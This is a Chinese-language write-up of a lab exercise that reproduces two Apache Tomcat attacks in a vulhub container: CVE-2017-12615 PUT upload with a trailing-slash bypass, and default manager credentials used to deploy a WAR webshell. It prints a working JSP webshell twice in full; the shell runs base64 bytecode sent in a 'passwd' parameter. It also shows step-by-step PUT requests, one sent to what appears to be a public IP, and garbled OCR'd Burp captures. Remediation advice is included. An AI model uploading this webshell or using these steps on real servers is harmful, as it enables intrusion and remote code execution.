一、Tomcat
[image: ]
Tomcat 是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持，最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现，Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定，而且免费，因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可，成为比较流行的Web 应用服务器。
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache 服务器，可利用它响应HTML（标准通用标记语言下的一个应用）页面的访问请求。
实际上Tomcat是Apache 服务器的扩展，但运行时它是独立运行的，所以当你运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的。
二、CVE-2017-12615
漏洞描述
2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号：CVE-2017-12615和CVE-2017-12616，其中 远程代码执行漏洞（CVE-2017-12615） 当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件，JSP 文件中的代码将能被服务器执行。
影响范围
Apache Tomcat 7.0.0 - 7.0.81
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd tomcat/CVE-2017-12615
root@ubuntu:~/vulhub/tomcat/CVE-2017-12615# docker compose up -d
访问页面
[image: ]
2、使用burpsuite获取该页面请求并发送到repeter模块进行重发包
[image: ]
3、将GET请求修改为PUT请求方法，将数据写入到请求正文中
[image: ]
4、请求3.txt文件,上传成功
[image: ]
5、上传jsp木马
shell.jsp木马的连接密码为passwd
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
当直接上传shell.jsp时发现上传失败
[image: ]
6、尝试绕过，加上/，上传成功
[image: ]
使用浏览器访问文件，请求成功
[image: ]
使用蚁剑进行连接,连接成功。
[image: ]
修复建议
配置readonly为true（默认为true）
根据官方补丁升级最新版本
三、弱口令&War包上传
漏洞描述
tomcat存在管理后台进行应用部署管理，且管理后台使用HTTP基础认证进行登录。若用户名为默认口令或弱口令，攻击者容易通过暴力破解登录后台并进行应用管理。
登录成功后有上传点，上传压缩包 xxx.war的.war不会被解析，直接访问 xxx/xxx.jsp下的木马文件，拿到webshell。
原因：Tomcat 支持在后台部署war文件，可以直接将webshell部署到web目录下。
影响范围
全版本
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd tomcat/tomcat8/
root@ubuntu:~/vulhub/tomcat/tomcat8# docker compose up -d
访问页面，点击manager app
[image: ]
要求我们输入密码，输入默认口令登陆名 tomcat、密码 tomcat，进入后台管理
[image: ]
通过上传war包进行getshell
[image: ]
shell.jsp
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

将shell.jsp压缩为shell.zip
[image: ]
修改后缀名zip为war
[image: ]
上传shell.war进行访问
[image: ]
双击访问/shell
[image: ]
在war包名后跟上shell.jsp，访问成功
[image: ]
使用蚁剑进行连接，密码为passwd
[image: ]
修复建议
在系统上以低权限运行Tomcat应用程序，根据需要执行权限最小化原则。
对于：
（1）manager-gui：允许用户登录图形化的Web应用管理及部署页面
（2）manager-script：允许用户通过文本页面的形式执行管理命令
（3）manager-jmx：允许用户通过JMX代理接口并访问“服务器状态”页面
这三个页面，因为功能比较多，也需要对用户设置最小化权限访问原则
增加对于本地和基于证书的身份验证，部署账户锁定机制
在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制
避免弱口令
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GET / HTTP/1.1

Host: 192.168. 124. 130:8080

Accept—Language: zh—CN, zh;q=0.9
Upgrade—Insecure—Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/145.0.0.0 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml
:q=0. 9, image/avif, image/webp, image/apng, */%*;q=0
.8, application/signed—exchange;v=b3;q=0. 7
Accept—Encoding: gzip, deflate, br

Connection: keep—alive

#t  Raw  Hex TEER N n =

1 HTTP/1.1 200

2 Content-Type: text/html;charset=UTF-8

3 Date: Sun, 23 Aug 2026 10:40:14 GMT

4 Content—Length: 11230

5

6

7

8

9 <!DOCTYPE html>

10 <html lang="en”>

11 <head>

12 <{meta charset="UTF-8" />

13 {title>

Apache Tomcat/8.5.19

Stitled

14 <{link href="favicon. ico” rel="icon” type="
image/x—icon” />

15 <link href="favicon.ico” rel="shortcut
icon” type="image/x—icon” />

16 <{link href="tomcat.css” rel="stylesheet”

tvno="tavt/rcc” />
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PUT /1.txt HTTP/1.1

Host: 192.168. 124. 130:8080

Cache—Control: max—age=0

Accept—Language: zh—CN, zh;q=0.9

Upgrade—Insecure—Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHIML, like Gecko) Chrome/145.0.0.0
Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif,

image/webp, image/apng, */*;q=0. 8, application/signed—exchange;v=b3;

q=0.7
Accept—Encoding: gzip, deflate, br

Content—Type: application/x—www—form—urlencoded
Content—-Length: 3

abc

= Raw Hex biap=24

1 HTTP/1.1 201

2 Content-Length: 0

3 Date: Sun, 23 Aug 2026 10:42:18 GMT
4

5
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PUT /shell.jsp| HTTP/1.1

Host: 116.63.181.158:8080

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Edg/112.0.1722.48

Accept:

text/html,application/xhtml+xml,application/xml;

e/apng,*/*;q=0.8,application/signed-exchange;v=b

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: JSESSIONID=120652DD1955BE7A5360CEA163540819

Connection: close

Content-Length: 956

9, image/webp, imag
0

q=0.
3;0=0.7

<%!

class U extends ClassLoader {
U(ClassLoader c) {

super(c);

}

public Class g(bytel[] b) {

Response

Raw Hex Render \n

HTTP/1.1 405

Content-Type: text/html;charset=utf-8
Content-Language: en

Content-Length: 1105

Date: Tue, 30 May 2023 06:25:08 GMT
Connection: close

coNOOUA WN R

<!doctype html><html lang="en">
<head>
<title>
HTTP Status 405 — Method Not Allowed
</title>
<style type="text/css">
h1{
font-family:Tahoma,Arial, sans—-serif;
color:white;background-color:#525D76;
font-size:22px;
+
h2{
font-family:Tahoma,Arial, sans—-serif;
color:white;background-color:#525D76;
font-size:16px;
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) Host: 192.168. 124. 130:8080 2 Content-Length: 0
3 Cache—Control: max—age=0 3 Date: Sun, 23 Aug 2026 10:47:08 GMT
| Accept-Language: zh—CN, zh;q=0.9 4
5 Upgrade—Insecure—Requests: 1 5
5 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64)
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If you're seeing this, you've successfully installed Tomcat. Congratulations!
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